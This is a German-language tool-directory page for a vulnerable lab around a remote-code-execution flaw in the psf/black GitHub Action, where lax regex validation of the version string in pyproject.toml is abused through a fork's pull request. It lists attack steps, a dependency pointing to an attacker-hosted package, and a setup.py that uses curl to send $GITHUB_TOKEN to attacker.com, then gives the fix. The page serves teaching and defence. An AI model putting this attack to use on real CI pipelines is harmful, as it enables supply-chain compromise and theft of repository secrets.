Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-31900-lab — CVE-2026-31900 Verwundbares Labor – RCE in der psf/black GitHub Action | Kitploit
Tools/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
SchwachstellenanalyseExploitationWebsicherheitLieferkettensicherheitLernen & BildungLabs & Praxis
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 Verwundbares Labor – RCE in der psf/black GitHub Action

Repository anzeigen
11vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31900 — Verwundbares Labor

psf/black GitHub Action RCE durch unsichere Regex-Validierung

FeldDetail
CVECVE-2026-31900
CVSS8.7 (Hoch)
AdvisoryGHSA-v53h-f6m7-xcgm
Betroffenpsf/black GitHub Action < v26.3.0
TypRCE über Supply Chain (pull_request-Trigger)

Schwachstelle

Die Option use_pyproject: true liest die Black-Version aus pyproject.toml. Die Regex, die zur Validierung der Versionszeichenfolge verwendet wird, ist aufgrund von re.IGNORECASE übermäßig permissiv und erlaubt Zeichen wie Leerzeichen, @, : und / — genau das, was für eine PEP-508-URL-Anforderung benötigt wird.

Verwundbare Regex

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

Angriffsvektor

  1. Forken Sie dieses Repository
  2. Ändern Sie pyproject.toml in Ihrem Fork:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Öffnen Sie einen Pull Request → der pull_request-Workflow-Trigger wird ausgelöst
  2. Die Action liest die bösartige Version aus pyproject.toml und umgeht die Regex-Validierung
  3. pip installiert das vom Angreifer kontrollierte Paket → setup.py führt beliebigen Code aus

Beispiel für bösartiges Paket setup.py

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

Auswirkungen des Credential-Diebstahls

  • $GITHUB_TOKEN (CI-Runner-Token)
  • Alle Geheimnisse, die in die Workflow-Umgebung injiziert werden

Fix

Upgrade auf psf/black v26.3.0 oder pinnen Sie die Version explizit im Workflow-YAML, anstatt use_pyproject: true zu verwenden.

Laborstruktur

root@kitploit:~
.github/workflows/black.yml   ← Verwundbarer Workflow (use_pyproject: true)
pyproject.toml                ← Legitime Konfiguration (Hauptbranch)
app.py                        ← Beispiel-Python-Datei, die formatiert wird
Tool herunterladen